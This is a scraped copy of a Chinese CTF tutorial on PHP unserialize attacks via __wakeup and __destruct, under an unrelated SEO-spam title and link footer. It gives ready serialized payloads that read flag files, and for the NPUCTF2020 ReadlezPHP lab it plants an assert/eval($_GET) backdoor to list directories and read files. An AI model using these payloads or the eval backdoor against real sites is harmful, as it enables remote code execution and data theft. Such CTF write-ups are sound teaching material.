当前位置: 首页 > news >正文

学习网站建设的书seo收费标准

学习网站建设的书,seo收费标准,qq群优惠券里面网站怎么做的,临沂网站建设正规公司作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络攻防。我的…

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

目录

  • 1. 题目环境搭建
  • 2. 魔法函数的危险操作
    • 2.1 题目demo.php
    • 2.2 [NPUCTF2020]ReadlezPHP

1. 题目环境搭建

详见我的一篇文章phpstudy本地环境搭建图文教程
搭建成功后,在网站根目录新建含有原始代码的php文件,通过浏览器访问即可。

网站根目录中新建一个名为flag.php的文件,内容自定,可作为flag使用。

<?php
echo "flag{You_Gor_It_Great!}";
?>

在线运行php网站,推荐PHP 在线工具 | 菜鸟工具或者在线运行PHP

2. 魔法函数的危险操作

反序列化时会将序列化字符串重新还原为对象,在这个过程中会⾃动去调⽤类中的魔术⽅法,⽐如 __wakeup()__destruct() 等,如果这些魔术⽅法中存在⼀些危险操作,如读取⽂件、执⾏系统命令等。攻击 者可以通过构造对象中的变量值,在触发魔术⽅法时执⾏这些危险操作。

__destruct()   // 析构函数,在销毁对象时调用
__wakeup()    // 执行unserialize()时,先会调用这个函数

2.1 题目demo.php

  • 题目源码
<?php
// flag is in flag.php
class demo
{private $filename = 'demo.php';public function __wakeup(){// TODO: Implement __wakeup() method.$this->show($this->filename);}public function show($filename){show_source($filename);}
}
unserialize($_GET['s']);
$d = new demo();
$d->show("demo.php");
?>

打开题目
在这里插入图片描述

  • 解题思路
  1. 源码分析发现
    a. 存在魔法函数__wakeup
    b. 魔法函数中调用show函数,里面存在危险操作show_source显示源码
    c. 参数filename可控
    综上可尝试反序列化读取flag.php
  2. 构造反序列化
    调用链:__wakeup() => show

上⾯的代码是接收⼀个参数 s ,然后将其反序列化,反序列化后,会调⽤ __wakeup() ⽅法。如果⼀切正常的话, 这个⽅法会显示⼀下 demo.php ⽂件的源代码。但是参数 s 是可控的,也就是说对象 s 的属性是可控的。于是我们可以伪造⼀个 filename 来构造对象(flag.php)

使用PHP 在线工具 | 菜鸟工具生成payload
在这里插入图片描述

<?php
class demo{private $filename = 'flag.php';
}$a = new demo();
$b = serialize($a);
echo $b.'<br>';
echo urlencode($b);
?>// 结果如下
// O:4:"demo":1:{s:14:"demofilename";s:8:"flag.php";}
// O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

最终攻击payload,浏览器url栏中输入如下内容
http://ip:port/filename/?s=O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
在这里插入图片描述

2.2 [NPUCTF2020]ReadlezPHP

题目链接:[NPUCTF2020]ReadlezPHP]ReadlezPHP

  • 题目
    正常的一个报时网页 此题可有两个flag
  • 解题思路
  1. 打开网站尝试路径扫描无果。尝试查看网页源码,发现可以链接
    在这里插入图片描述
  2. 点击后,URL中去掉view-source: 页面展示源码如下。
    在这里插入图片描述
  3. 分析源代码可知
    (1)存在魔法函数__destruct()
    (2)调用危险代码动态执行 b ( b( b(a)
    (3)$a $b参数可控
    综上选定PHP反序列化攻击
  4. 构造序列化脚本
<?phpclass HelloPhp
{public $a="ls /";public $b="system"; 
}$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

攻击payload为
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

  1. 但是没有响应,怀疑是过滤了部分函数。尝试使用别的函数,如assert
<?php
class HelloPhp
{public $a="phpinfo()";public $b="assert"; 
}$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);?>// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
成功,查看被禁用函数disable_functions PHP中的system函数被禁用
在这里插入图片描述
搜索flag找到第一个flag
在这里插入图片描述

  1. 构造后门文件查看是否还有其他flag assert(eval($_GET[1234]))
<?phpclass HelloPhp
{public $a="eval(\$_GET[1234])";public $b="assert"; 
}$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>

攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));

  1. 后门1234的命令被限制使用var_dump(scandir(“/”))代替 system(“ls /”) 找到第二个flag

http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));

在这里插入图片描述

  1. 使用echo file_get_contents(“/FIag_!S_it”)代替system(cat /FIag_!S_it)

http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=echo file_get_contents("/FIag_!S_it");

找到第二个flag
NPUCTF{this_is_not_a_fake_flag_but_true_flag}

以上仅是典型题目,下一篇文章将继续介绍php反序列化pop链的构造

http://www.zhongyajixie.com/news/50325.html

相关文章:

  • 上海徐汇做网站火星时代教育培训机构学费多少
  • 新闻录入网站模板网站建设纯免费官网
  • 没有营业执照 怎么做网站行者seo
  • 做同城网站需要哪些域名seo站长工具
  • 国际加速器永久免费版北京seo的排名优化
  • 凯里网站建设公司百度指数峰值查询
  • 去掉wordpress页面的分类归档厦门seo优化外包公司
  • 网站建设属于什么服务企业推广策划书
  • 上海网站建设 浦东深圳百度代理
  • 网站建设的重点百度关键词搜索趋势
  • pyton 网站开发竞价培训课程
  • 网站建设开发语言seo建站的步骤
  • 做全景哪个网站不模糊seo搜索引擎优化技术
  • 电子税局网站开发服务项目文档seo网站管理招聘
  • 网页打开app wordpress北京seo公司
  • smartschool 学校网站管理系统域名注册网站有哪些
  • 全国工商企业查询平台绍兴seo网站管理
  • 网站布局教程重庆搜索引擎seo
  • 咸阳网站开发联系方式网站seo排名优化软件
  • 公务员 做网站盈利宁波优化系统
  • 网站设计改版网站优化的方法与技巧
  • 用asp.net做校园网站重庆关键词快速排名
  • 网站建设的公司哪家是上市公司灰色词快速排名方法
  • 做房产的网站排名360搜索首页网址是多少
  • dede网站搬家更换空间重新安装北京网站优化方法
  • 做网站排名要懂那些一周热点新闻
  • 做水处理药剂的公司网站口碑营销的形式
  • 电子商务网站建设外包服务的企业网络营销和推广做什么
  • 淘宝直接怎么做网站爱站seo工具
  • 呼和浩特建站旺道seo营销软件